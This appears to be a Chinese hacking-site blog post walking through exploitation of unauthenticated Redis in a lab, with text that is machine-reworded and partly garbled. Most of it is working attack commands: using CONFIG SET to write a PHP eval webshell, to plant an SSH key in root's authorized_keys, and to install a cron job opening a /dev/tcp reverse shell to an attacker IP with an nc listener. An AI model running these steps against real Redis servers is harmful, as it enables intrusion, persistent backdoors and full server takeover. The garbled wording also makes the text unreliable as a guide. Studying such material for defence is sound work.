您现在的位置是:首页 > 黑客技术

Redis未受权浏览系统漏洞重现

作者:果E安全网时间:2020-10-25 17:27:35分类:黑客技术

简介最先,第一个重现Redis未受权浏览这一系统漏洞是有缘故的,在2019-07-24的某一天,我同学们的服务器忽然尤其卡,卡到连不上的那类,根据top,free,netstat等指令查询后发觉,CPU占有200%,而且存有异常过程,在许多目录下发觉了异常文档。历经清查后,明确为整盘感柒的挖矿病毒,而很有可能的通道便是Redis的6379端口号。1.0系统漏洞伤害Redis

最先,第一个重现Redis未受权浏览这一系统漏洞是有缘故的,在 2019-07-24 的某一天,我同学们的服务器忽然尤其卡,卡到连不上的那类,根据 top,free,netstat 等指令查询后发觉,CPU占有200%,而且存有异常过程,在许多 目录下发觉了异常文档。历经清查后,明确为整盘感柒的挖矿病毒,而很有可能的通道便是 Redis 的 6379 端口号。

1.0系统漏洞伤害

Redis 在默认设置安裝状况下,关联的端口号为 6379 ,沒有加上过服务器防火墙信任感标准,改动默认设置端口号等安全防护对策,这等同于立即将 Redis服务项目曝露到公在网上,要是没有密码设置验证(默认设置为空)的状况,会造成 随意客户都可以浏览总体目标服务器--即未受权浏览Redis及其载入Redis的数据信息。假如配攻击者未受权浏览Redis的状况下,可利用Redis本身出示的config指令,开展文档的存取数据,攻击者能够立即将自身的ssh公钥载入总体目标服务器的/root/.shh文件夹名称的authotrized_keys文件中,从而立即应用相匹配公钥根据SSH登陆总体目标服务器。

1.1简易而言

攻击者不用受权,立即载入內部数据信息,造成 比较敏感数据泄露。

攻击者能够立即根据指令读写能力文档,嵌入侧门。

假如Redis以root真实身份运作,攻击者能够将SSH公钥载入root帐户下,立即根据SSH登陆总体目标服务器

1.2危害版本号

现阶段检测(自身)

Redis 2.x 4.x 5.x 都存有,可检测,以具体自然环境为主导

2.0Redis的自然环境构建

安裝/自然环境配备

免费下载 Redis 安装文件 / 并缓解压力到特定目录

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

1.png

tar -zxf redis-2.8.17.tar.gz -C[特定目录]

2.png

进到Redis目录 / 运作 make 安裝

cd http://www.ots-sec.cn/ots911/modules/redis-2.8.17/

make

3.png

4.png

安裝取得成功

拷贝起动程序流程到 /usr/bin/ 目录下

进到 redis-2.8.17/src 拷贝 redis-cli、redis-server 到 /usr/bin/ 目录下便捷redis起动

5.png

将redis.conf拷到/opt/目录下

6.png

7.png

打开服务器防火墙开启6379端口号

要不然外网地址联接不上

服务器防火墙打开6379端口号

iptables -I INPUT -p tcp --dport 6379 -j ACCEPT

8.png

2.2 打开redis服务项目

特定环境变量打开服务项目

redis-server /opt/redis.conf

9.png

2.3本地检测联接

手机客户端登陆

redis-cli

10.png

检测ping指令

11.png

查询密匙

12.png

接下去演试攻击者利用未受权浏览系统漏洞

3.0未受权浏览系统漏洞演试

这儿我选择Kali做为战机

3.1在kali上安裝/配备Redis

吊舱 IP : 192.168.80.11

13.png

战机 IP : 192.168.80.134

14.png

3.2 应用Redis手机客户端立即浏览无登陆密码的redis

手机客户端登陆 redis-cli -h 192.168.80.11

15.png

从登陆結果能够看得出redis服务项目被曝露在公在网上,而且沒有开启身份验证

接下去进一步渗入

利用redis的config写webshell

利用标准:

redis未受权,攻击者能够立即用手机客户端联接,且未认证登陆

打开了web服务器,而且获知途径(能够利用phpinfo或是不正确爆途径等)

必须有读写能力文档的管理权限,这种全是能够试着的测试用例

我这里用以前构建好的Nginx PHP web服务器来检测

试着载入webshell到web服务器内(/usr/local/nginx/html 假定获知了web服务器的根目录)

利用config指令开展文档读写能力:

CONFIG SET dir /usr/local/nginx/html 设定文档目录

CONFIG SET dbfilename shell.php 设定文件夹名称

SET webshell "<?php eval($_POST['r0cky']);?>" 写文档內容

save 储存到特定途径

16.png

查询载入的文档

17.png

然后试着c刀联接或是蚁剑

url :http://192.168.80.11/shell.php

18.png

3.3利用“公与私钥”验证获得root管理权限

吊舱打开redis服务项目

redis-server /opt/redis.conf

在战机生成ssh公钥和公钥,设置密码为空

ssh-keygen -t rsa

19.png

将形成的公钥储存到文档中

进到到.ssh文件夹名称内 cd ~/.ssh/ 我这里是root客户目录

储存公钥到gssh.txt文件

(echo -e "

";cat id_rsa.pub;echo -e "

") > gssh.txt

21.png

联接redis服务项目载入文档

将储存的公钥载入到redis服务器上

cat gssh.txt | redis-cli -h 192.168.80.11 -x set crackit

22.png

远程登陆吊舱的redis服务项目

redis-cli -h 192.168.80.11

获得redis备份数据的途径

CONFIG GET dir

23.png

变更redis备份数据途径为ssh公钥储放目录(一般默认设置为/root/.ssh)

CONFIG SET dir /root/.ssh/

1.png

这一说明,总体目标服务器root沒有ssh公与私钥,必须手动式建立一个

2.png

再说设定

3.png

设定提交公钥的备份数据名叫authorized_keys

CONFIG SET dbfilename authorized_keys

查询是不是变更取得成功 CONFIG GET dbfilename

4.png

储存&撤出

save & exit

5.png

那样就取得成功的载入ssh公钥到总体目标服务器上

攻击者应用ssh免密支付登陆总体目标服务器

ssh -i id_rsa root@192.168.80.11

6.png

3.4 利用crontab反跳shell

在战机上打开端口号监视

nc -lvnp 10086 端口号未被占有

7.png

根据redis向总体目标服务器载入任务计划

任务计划:*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.80.134/10086 0>&1

联接redis,载入反跳shell

redis-cli -h 192.168.80.11 联接redis

载入任务计划每过一分钟向自身的IP端口号推送shell

SET cron "

*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.80.134/10086 0>&1

"

CONFIG SET dir /var/spool/cron

CONFIG SET dbfilename root

save

8.png

间距一分钟后接到反跳回家的shell

9.png

运行命令

{ X}

  

10.png

  至此Redis未授权访问的漏洞基本上就如上述演示

  

  上一篇探索:大疆Spark无人机劫持分析下一篇【逻辑漏洞】任意账号密码重置

郑重声明:

果E安全网所有活动均为互联网所得,如有侵权请联系本站删除处理,转载请注明本站地址。

我来说两句